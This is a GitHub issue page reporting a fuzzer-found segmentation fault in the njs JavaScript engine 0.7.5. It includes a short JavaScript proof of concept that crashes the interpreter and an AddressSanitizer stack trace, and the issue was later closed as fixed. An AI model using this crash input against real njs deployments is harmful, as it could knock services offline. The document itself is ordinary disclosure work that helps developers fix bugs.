New issue

Jump to bottom

SEGV src/njs_value.c:240:21 in njs_value_own_enumerate #524

Closed **dramthy** opened this issue on Jun 1 · 0 comments

Labels bug fuzzer

dramthy commented on Jun 1

Environment

```
Commit  : c62a9fb92b102c90a66aa724cb9054183a33a68c
Version : 0.7.5
Build   :
     ./configure --cc=clang --address-sanitizer=YES
     make
```

Proof of concept

```
// Minimizing 9159992D-C762-4DEB-8981-8A3357935A7A
function placeholder(){}
function main() {
var v2 = [];
var v4 = {"get":Number};
var v6 = Object.defineProperty(v2,29425,v4);
var v7 = AggregateError(v6);
Object.e = v7;
var v9 = Promise();
}
main();
// CRASH INFO
// ==========
// TERMSIG: 11
// STDERR:
```

Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==8116==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004eed5c bp 0x7ffcc19b6310 sp
0x7ffcc19b61e0 T0)
==8116==The signal is caused by a READ memory access.
==8116==Hint: this fault was caused by a dereference of a high value address (see register values
below).  Disassemble the provided pc to learn which register was used.
    #0 0x4eed5c in njs_value_own_enumerate /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_value.c:240:21
    #1 0x53a37f in njs_object_traverse /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_object.c:1230:23
    #2 0x5a16ed in njs_builtin_match_native_function /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_builtin.c:776:11
    #3 0x592ad4 in njs_add_backtrace_entry /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_error.c:1308:15
    #4 0x592ad4 in njs_error_stack_new /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_error.c:102:16
    #5 0x592ad4 in njs_error_stack_attach /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_error.c:161:11
    #6 0x50506e in njs_vmcode_interpreter /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_vmcode.c:1007:16
    #7 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:693:11
    #8 0x573e4f in njs_function_frame_invoke /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:769:16
    #9 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #10 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
    #11 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
    #12 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
    #13 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
    #14 0x7f0a16923082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId:
1878e6b475720c7c51969e69ab2d276fae6d1dee)
    #15 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value.c:240:21 in
njs_value_own_enumerate
==8116==ABORTING
```

Credit
dramthy(**@topsec** alpha)

xeioex added bug **fuzzer** labels on Jun 1

nginx-hg-mirror closed this as completed in `c756e23` on Jun 9

Assignees

No one assigned

No one assigned

Labels

bug fuzzer

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants